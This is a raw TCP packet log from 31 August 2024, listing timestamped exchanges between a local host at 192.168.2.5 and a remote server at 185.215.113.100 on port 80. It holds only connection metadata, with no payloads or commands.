Aug 31, 2024 10:14:14.390608072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.390969038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391016960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391041994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391051054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391069889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391078949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391082048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391094923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391103029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391123056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391143084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391174078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391185045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391200066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391222000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391244888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391350985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391364098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391382933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391402006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391422033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391556978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391567945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391587973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.391607046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391633034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.391973019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392014027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392023087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392024040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392045975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392051935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392085075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392184019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392194986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392213106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392225027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392235041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392242908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392254114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392265081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392278910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392282963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392297029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392302990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392308950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392322063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392349005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392394066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392405033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392417908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392437935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392437935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392465115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392487049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392560959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392585039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392596006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392606020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392616034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392623901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392627001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392635107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392640114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392651081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392654896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392684937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392699957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392710924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392729998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392740011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392745018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392765045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392772913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392779112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392793894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392810106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392815113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392826080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392837048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392846107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392852068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392863989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.392865896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392880917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.392894030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.393887043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.393908978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.393918991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.393935919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.393937111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.393950939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.393981934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.395745039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395768881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395780087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395801067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.395816088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.395895004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395905018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395917892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395935059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.395940065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395951986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395960093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.395987988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.395987988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396012068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396022081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396028042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396044016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396054983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396060944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396076918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396085024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396090984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396100998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396102905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396121979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396125078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396136999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396140099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396157026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396157980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396167994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396173954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396190882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396193981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396204948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396204948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396224022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396233082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396234035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396251917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396258116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396260977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396285057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396286964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.396302938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.396332026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398210049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398221970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398241043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398252010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398273945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398274899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398283958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398303986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398313999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398319960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398328066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398333073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398351908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398360014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398369074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398380995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398392916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398395061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398405075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398417950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398432016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398459911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398469925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398479939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398504972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398505926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398518085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398529053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398540020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398542881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398557901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398567915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398569107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398581028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398597956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398606062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398610115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398627996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398627996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398638964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398655891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398658037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398669004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398669958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398694038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398698092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398705959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398718119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398720980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398735046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398741007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398751020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398751020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398770094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398780107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398782015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398797035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.398802042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.398830891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542596102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542608023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542654991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542654991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542825937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542867899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542887926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542923927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542942047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542963028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542977095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.542989969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.542999029 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543014050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543076992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543086052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543113947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543122053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543124914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543135881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543143034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543148994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543154001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543157101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543173075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543174028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543184042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543188095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543201923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543203115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543220043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543231964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543237925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543273926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543278933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543282986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543309927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543478966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543519974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543531895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543541908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543564081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543572903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543701887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543721914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543734074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543745041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543746948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543757915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543770075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543775082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543782949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543783903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543802977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543811083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543812990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.543821096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543832064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.543845892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544580936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544593096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544605970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544629097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544641972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544658899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544667006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544687033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544692993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544709921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544723034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544754028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544764042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544781923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544789076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544789076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544802904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544819117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544831038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544840097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544852972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544867039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544873953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544893026 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544910908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.544933081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544941902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544970989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.544971943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545001984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545504093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545515060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545532942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545547962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545572042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545572996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545582056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545604944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545608044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545614958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545617104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545633078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545639038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545650005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545653105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545663118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545667887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545680046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545690060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545695066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545701027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545717001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545720100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545731068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545753956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545777082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545784950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545806885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545819044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545823097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545836926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.545850039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.545866013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.546533108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.546540976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.546557903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.546567917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.546580076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.546602011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.547369957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.547379971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.547399044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.547414064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.547435045 CEST	49704	80	192.168.2.5	185.215.113.100
